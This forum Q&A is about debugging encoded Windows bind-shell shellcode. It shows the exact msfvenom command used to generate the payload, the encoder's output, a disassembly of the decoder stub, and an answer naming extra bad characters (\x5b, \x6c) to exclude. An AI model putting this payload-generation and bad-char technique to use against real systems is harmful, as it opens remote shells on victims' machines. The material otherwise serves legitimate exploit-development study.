1

I am generating shellcode excluding bad chars using:

msfvenom -p windows/shell_bind_tcp -b '\x00\x40\x0a\x0d' -f py

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes

I increase the size of the stack to allow for decoding:

add esp, -1500

When I run the code and compare the shellcode in the debugger with the python code, all is well, the characters all match up.

The breakpoint in the EPI register is reached.

Then PUSH ESP and RET are called to point to the address of msvcrt.dll

I keep stepping through the shellcode (I checked this and all the characters are correct when compared to the hex python code):

ADD ESP, -5DC
MOV EAX, D5A109D9
FCMOVNBE ST, ST(3)
FSTENV (28-BYTE) PTR SS:[ESP-C]
POP EBX
SUB ECX,ECX
MOV CL,53
SUB EBX,-4
XOR DWORD PTR DS: [EBX+E],EAX ............. (Access violation when writing to [00000012])

At this point EBX = 00000004, EAX = D5A109D9

Why is the shellcode trying to write to [EBX+E]=00000012? Even the instructions after XOR DWORD have the correct hex characters that match with the code, hence there doesn't appear to be any other bad chars.

Improve this question

1 Answer 1

Reset to default
4

I solved the problem by stepping through and eliminating the bad characters one at a time where there was a crash. The bad characters causing the problem were:

  • pop ebx: \x5b
  • privileged instruction: \x6c

(This was in addition to the null characters, carriage returns, and @ character)

Hope this saves somebody a lot of frustration

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .